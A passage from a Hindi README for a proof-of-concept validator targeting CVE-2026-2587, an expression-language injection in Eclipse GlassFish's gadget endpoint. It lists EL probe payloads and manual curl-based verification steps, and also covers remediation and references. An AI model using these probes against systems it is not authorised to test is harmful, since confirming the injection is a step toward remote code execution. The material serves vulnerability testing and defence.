| TC-08 | `#{'GL'.concat('ASS').concat('FISH')}` | `GLASSFISH` | चेन्ड मेथड कॉल |
| TC-09 | `#{17 mod 5}` | `2` | EL कीवर्ड ऑपरेटर |
| TC-10 | `#{100*100}` | `10000` | अतिरिक्त अंकगणित पुष्टि |

TC-06, TC-07, और TC-08 सबसे महत्वपूर्ण हैं — इन्हें पास करने का मतलब है कि EL इंजन **स्ट्रिंग API मेथड और सशर्त लॉजिक** को निष्पादित करता है, जो पूर्ण RCE श्रृंखला का सीधा अग्रदूत है।

---

## आउटपुट व्याख्या

| स्थिति | अर्थ |
|---|---|
| `VULNERABLE` | EL एक्सप्रेशन का मूल्यांकन हुआ — इंस्टेंस प्रभावित पुष्टि |
| `VULNERABLE_UNAUTH` | एंडपॉइंट बिना प्रमाणीकरण के उजागर — बेस CVE से भी बदतर |
| `NOT_VULNERABLE` | एक्सप्रेशन शाब्दिक रूप से परावर्तित — EL का मूल्यांकन नहीं हुआ |
| `AUTH_REQUIRED` | एंडपॉइंट ने लॉगिन पेज लौटाया — कुकी या क्रेडेंशियल जांचें |
| `INCONCLUSIVE` | प्रतिक्रिया प्राप्त हुई लेकिन कैनरी नहीं मिली — नीचे देखें |
| `ERROR` | अनुरोध विफल — नेटवर्क / TLS समस्या |

`detected_version` और `version_source` सहायक संदर्भ हैं। चूंकि सार्वजनिक सलाहकार वर्तमान में प्रभावित और पैच किए गए संस्करणों को अज्ञात के रूप में सूचीबद्ध करते हैं, `version_affected=UNKNOWN` को नकारात्मक परिणाम न मानें। एकमात्र सकारात्मक खोज एक मूल्यांकित प्रूफ टोकन है।

**INCONCLUSIVE समस्या निवारण:**

| लक्षण | कारण | समाधान |
|---|---|---|
| `XML hits: 0` | GlassFish ने आपका XML कभी नहीं लाया | `--callback-url` लक्ष्य से पहुंच योग्य नहीं |
| `XML hits: 1+` but no match | EL का मूल्यांकन हुआ लेकिन गलत फ़ील्ड | CDATA सामग्री के लिए अपेक्षित |
| Auth redirect mid-run | सत्र समाप्त हो गया | ब्राउज़र से एक ताज़ा `JSESSIONID` प्राप्त करें |
| Login POST redirects to `j_security_check` | गलत पासवर्ड | इसके बजाय `--cookie` का उपयोग करें |

---

## मैन्युअल सत्यापन

Python की आवश्यकता नहीं:```bash
# Step 1 — create probe XML
mkdir probe && cat > probe/probe.xml << 'EOF'
<?xml version="1.0"?>
<Module>
  <ModulePrefs title="PROBE_#{7*7}_END"/>
  <Content type="html"><![CDATA[ok]]></Content>
</Module>
EOF

# Step 2 — serve it
python3 -m http.server 8000 --directory probe &

# Step 3 — hit the endpoint with your session cookie
curl -sk \
  -H "Cookie: JSESSIONID=YOUR_SESSION_ID" \
  "https://localhost:4848/common/gadgets/gadget.jsf?gadget=http://host.docker.internal:8000/probe.xml" \
  | grep -oE 'PROBE_[^"< ]+_END'

# Vulnerable output:
# PROBE_#{7*7}_END    ← raw (CDATA — expected)
# PROBE_49_END        ← evaluated ✅ VULNERABLE

सुधार

कार्रवाईविवरण
अपग्रेडजब Eclipse/NVD/GHSA पैच किया गया संस्करण सीमा प्रकाशित करें, तब विक्रेता द्वारा प्रकाशित फिक्स्ड बिल्ड लागू करें
गैजेट हैंडलर अक्षम करेंयदि उपयोग नहीं किया गया है तो WAF/फ़ायरवॉल पर /common/gadgets/gadget.jsf को ब्लॉक करें
फ़ायरवॉल एडमिन कंसोलपोर्ट 4848 को केवल विश्वसनीय IP तक सीमित करें
CSRF सुरक्षाएडमिन सत्रों पर SameSite कुकी एट्रीब्यूट सुनिश्चित करें
WAF नियमगैजेट एंडपॉइंट तक पहुंचने वाले XML निकायों में #{ और ${ को ब्लॉक करें

संदर्भ

संसाधनलिंक
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-2587
GitHub सलाहकार (GHSA)https://github.com/advisories/GHSA-29wv-cv7p-xjc2
Eclipse CVE ट्रैकिंगhttps://gitlab.eclipse.org/security/cve-assignment/-/issues/86
Eclipse GlassFish स्रोतhttps://github.com/eclipse-ee4j/glassfish
CWE-917https://cwe.mitre.org/data/definitions/917.html
रिपोर्टरCamilo G. (DeepSecurity Perú) — @SeguridadBlanca

अस्वीकरण

यह भंडार केवल अधिकृत सुरक्षा परीक्षण और अनुसंधान के लिए है।

  • इस उपकरण को केवल उन सिस्टम पर चलाएँ जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है
  • वैधकर्ता केवल हानिरहित EL मूल्यांकन करता है — कोई कमांड निष्पादन, कोई रिवर्स शेल, कोई फ़ाइल अपलोड, कोई स्थिरता नहीं
  • लेखक दुरुपयोग के लिए कोई देयता नहीं लेता है
  • जिम्मेदार प्रकटीकरण का पालन किया गया — दिसंबर 2025 में रिपोर्ट किया गया और मई 2026 में प्रकाशित किया गया

भंडार लेआउट:``` CVE-2026-2587-Exploit-POC/ ├── assets/ │ └── cve-2026-2587-validation-flow.png ← README workflow diagram ├── CVE-2026-2587-Exploit-POC.py ← validator script ├── probe.xml ← ready-to-host static probe XML (#{7*7} canary) ├── targets.txt.example ← multi-target file template └── README.md

root@kitploit:~
---

<p align="center">
  <a href="https://github.com/Bhanunamikaze">github.com/Bhanunamikaze</a>
</p>
टूल डाउनलोड करें
notes
यदि स्कैन विफल हुआ तो त्रुटि संदेश